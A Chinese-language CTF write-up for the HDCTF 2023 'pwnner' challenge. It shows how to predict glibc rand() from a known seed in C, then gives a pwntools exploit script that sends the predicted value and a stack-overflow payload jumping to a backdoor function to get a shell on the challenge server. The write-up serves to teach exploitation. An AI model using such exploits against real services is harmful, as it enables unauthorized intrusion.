伪随机数

题目

题目1

  • 来源:[HDCTF 2023]pwnner | NSSCTF

  • 使用IDA打开附件,然后进行代码审计,查看到有srand()函数,加上下方还有v0==rand()这就说明了需要知道rand()函数产生的随机数具体是多少

image-20240620151458357

  • 由于该程序是在Linux下的程序,使用一般是gcc编译器,使用的libc库应该也是glibc。所以这时应该在Linux下编写一个种子同样为0x39的随机数。注意:并不能使用Windows下的dev c++编写该程序,编译器不同libc库使用的不同,可能会导致随机数的算法不同,从而使得同样种子产生的随机数会不同。
1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
#include<stdlib.h>
int main()
{
srand(0x39);
long long int a = rand();
printf("%lld",a);
return 0;
}

gcc srand.c -o srand
  • 编写完程序后使用gcc编译,编译完成直接运行程序得到的随机数如下
1
1956681178
  • 这时就可以绕过随机数了

  • 然后就是正常栈溢出编写64位的ROP链了,本题还有后门函数那就更容易了

  • exp:

1
2
3
4
5
6
7
from pwn import *
context(arch = 'amd64',os = 'Linux',endian ='little',log_level= 'debug')
io = remote('node5.anna.nssctf.cn',25466)
io.send(b'1956681178')
payload = b'A'*(0x40+0x8) + p64(0x4008B2)
io.sendlineafter(b'next?',payload)
io.interactive()